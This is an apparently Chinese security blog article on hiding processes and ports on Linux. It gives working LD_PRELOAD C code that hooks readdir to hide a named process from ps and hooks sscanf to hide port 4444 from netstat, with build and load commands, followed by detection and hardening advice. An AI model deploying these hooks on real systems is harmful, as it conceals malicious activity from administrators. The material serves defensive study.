linux下进程隐藏的一些研究
字数 1144 2025-08-27 12:33:54

Linux下进程隐藏技术研究与实践

一、进程隐藏技术概述

进程隐藏是系统安全领域的一项重要技术,通过修改系统工具的行为或内核数据结构,使得特定进程对常规检测工具不可见。本文基于Linux系统,详细分析两种主要的隐藏技术:ps进程隐藏和netstat端口隐藏。

二、ps进程隐藏技术

1. 准备工作

  1. 获取procps源码:
git clone https://gitlab.com/procps-ng/procps.git
  1. 关闭内核地址随机化(便于调试):
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
  1. 编译带调试信息的procps:
./autogen.sh && ./configure CFLAGS="-ggdb" LDFLAGS="-ggdb" --prefix=$PWD
make clean && make -j12 && make install

2. ps命令工作原理分析

ps命令主要通过以下步骤获取进程信息:

  1. 打开/proc目录
  2. 遍历所有PID目录
  3. 读取以下文件获取进程信息:
    • /proc/[pid]/status
    • /proc/[pid]/stat
    • /proc/[pid]/cmdline

关键数据结构dirent

struct dirent {
    ino_t d_ino;        /* inode number */
    off_t d_off;        /* offset to the next dirent */
    unsigned short d_reclen; /* length of this record */
    unsigned char d_type;    /* type of file */
    char d_name[256];    /* filename */
};

3. 基于LD_PRELOAD的hook技术

使用LD_PRELOAD覆盖系统库函数,实现进程隐藏:

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/* 要隐藏的进程名 */
static const char *process_to_filter = "ping";

/* 获取目录名 */
static int get_dir_name(DIR *dirp, char *buf, size_t size) {
    int fd = dirfd(dirp);
    if (fd == -1) return 0;
    
    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if (ret == -1) return 0;
    
    buf[ret] = 0;
    return 1;
}

/* 获取进程名 */
static int get_process_name(char *pid, char *buf) {
    if (strspn(pid, "0123456789") != strlen(pid)) return 0;
    
    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
    FILE *f = fopen(tmp, "r");
    if (f == NULL) return 0;
    
    if (fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }
    fclose(f);
    
    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

/* 定义hook宏 */
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
    if(original_##readdir == NULL) { \
        original_##readdir = dlsym(RTLD_NEXT, #readdir); \
        if(original_##readdir == NULL) \
        { \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
        } \
    } \
\
    struct dirent* dir; \
\
    while(1) \
    { \
        dir = original_##readdir(dirp); \
        if(dir) { \
            char dir_name[256]; \
            char process_name[256]; \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
                strcmp(dir_name, "/proc") == 0 && \
                get_process_name(dir->d_name, process_name) && \
                strcmp(process_name, process_to_filter) == 0) { \
                continue; \
            } \
        } \
        break; \
    } \
    return dir; \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

4. 测试效果

  1. 编译为共享库:
gcc -shared -fPIC -o libprocesshider.so processhider.c -ldl
  1. 使用LD_PRELOAD加载:
LD_PRELOAD=./libprocesshider.so ps aux

此时,指定的进程名(如"ping")将不会出现在ps输出中。

三、netstat端口隐藏技术

1. 准备工作

  1. 获取net-tools源码:
git clone https://github.com/ecki/net-tools.git
  1. 编译带调试信息:
./configure.sh CFLAGS="-ggdb" LDFLAGS="-ggdb" --prefix=$PWD
make clean && make -j12
rm bin && mkdir bin
install -m 0755 netstat bin

2. netstat工作原理分析

netstat主要通过读取以下文件获取网络信息:

  • /proc/net/tcp
  • /proc/net/tcp6

关键函数调用链:

tcp_info() -> _PATH_PROCNET_TCP -> tcp_do_one()

3. 基于sscanf的hook技术

hook __isoc99_sscanf函数来隐藏特定端口:

#include <stdarg.h>
#include <stdio.h>
#include <string.h>

int __isoc99_sscanf(const char *str, const char *format, ...) {
    int ret;
    va_list ap;
    va_start(ap, format);
    
    /* 隐藏4444端口(16进制为115C) */
    if (strstr(str, "00000000:115C 00000000:0000 0A"))
        return 12;  // 返回12避免触发错误检测
    
    ret = vsscanf(str, format, ap);
    va_end(ap);
    return ret;
}

4. 测试效果

  1. 编译为共享库:
gcc -shared -fPIC -o libnetshider.so netshider.c -ldl
  1. 使用LD_PRELOAD加载:
LD_PRELOAD=./libnetshider.so netstat -antup

此时,4444端口将不会出现在netstat输出中。

四、技术局限性分析

  1. ps隐藏的局限性

    • 仅影响基于/proc文件系统读取进程信息的工具
    • 进程实际仍在运行,可通过其他方式检测(如直接检查/proc目录)
  2. netstat隐藏的局限性

    • 仅影响使用/proc/net/tcp的工具
    • 其他工具如ss可能仍能看到端口
    • 需要针对不同工具分别hook
  3. 检测方法

    • 使用未受hook影响的工具(如直接读取/proc
    • 检查异常的LD_PRELOAD环境变量
    • 使用静态编译的工具

五、防御措施

  1. 检测隐藏进程

    # 直接查看/proc目录
    ls -d /proc/[1-9]*
    
    # 使用未受LD_PRELOAD影响的工具
    busybox ps
    
  2. 检测隐藏端口

    # 直接读取/proc/net/tcp
    cat /proc/net/tcp | awk '{print $2}' | grep -i 115C
    
    # 使用替代工具
    ss -antup
    lsof -i
    
  3. 系统加固

    • 禁用不必要的LD_PRELOAD
    • 使用完整性检查工具监控关键系统文件
    • 部署安全监控系统

六、总结

本文详细分析了Linux下两种进程隐藏技术:通过hook readdir函数隐藏ps可见的进程,以及通过hook sscanf函数隐藏netstat可见的端口。这两种技术各有优缺点,在实际应用中需要根据场景选择合适的方法。同时,作为防御方,了解这些技术原理有助于更好地检测和防范恶意隐藏行为。

Linux下进程隐藏技术研究与实践 一、进程隐藏技术概述 进程隐藏是系统安全领域的一项重要技术,通过修改系统工具的行为或内核数据结构,使得特定进程对常规检测工具不可见。本文基于Linux系统,详细分析两种主要的隐藏技术:ps进程隐藏和netstat端口隐藏。 二、ps进程隐藏技术 1. 准备工作 获取procps源码: 关闭内核地址随机化(便于调试): 编译带调试信息的procps: 2. ps命令工作原理分析 ps命令主要通过以下步骤获取进程信息: 打开 /proc 目录 遍历所有PID目录 读取以下文件获取进程信息: /proc/[pid]/status /proc/[pid]/stat /proc/[pid]/cmdline 关键数据结构 dirent : 3. 基于LD_ PRELOAD的hook技术 使用 LD_PRELOAD 覆盖系统库函数,实现进程隐藏: 4. 测试效果 编译为共享库: 使用LD_ PRELOAD加载: 此时,指定的进程名(如"ping")将不会出现在ps输出中。 三、netstat端口隐藏技术 1. 准备工作 获取net-tools源码: 编译带调试信息: 2. netstat工作原理分析 netstat主要通过读取以下文件获取网络信息: /proc/net/tcp /proc/net/tcp6 关键函数调用链: 3. 基于sscanf的hook技术 hook __isoc99_sscanf 函数来隐藏特定端口: 4. 测试效果 编译为共享库: 使用LD_ PRELOAD加载: 此时,4444端口将不会出现在netstat输出中。 四、技术局限性分析 ps隐藏的局限性 : 仅影响基于 /proc 文件系统读取进程信息的工具 进程实际仍在运行,可通过其他方式检测(如直接检查 /proc 目录) netstat隐藏的局限性 : 仅影响使用 /proc/net/tcp 的工具 其他工具如 ss 可能仍能看到端口 需要针对不同工具分别hook 检测方法 : 使用未受hook影响的工具(如直接读取 /proc ) 检查异常的LD_ PRELOAD环境变量 使用静态编译的工具 五、防御措施 检测隐藏进程 : 检测隐藏端口 : 系统加固 : 禁用不必要的LD_ PRELOAD 使用完整性检查工具监控关键系统文件 部署安全监控系统 六、总结 本文详细分析了Linux下两种进程隐藏技术:通过hook readdir函数隐藏ps可见的进程,以及通过hook sscanf函数隐藏netstat可见的端口。这两种技术各有优缺点,在实际应用中需要根据场景选择合适的方法。同时,作为防御方,了解这些技术原理有助于更好地检测和防范恶意隐藏行为。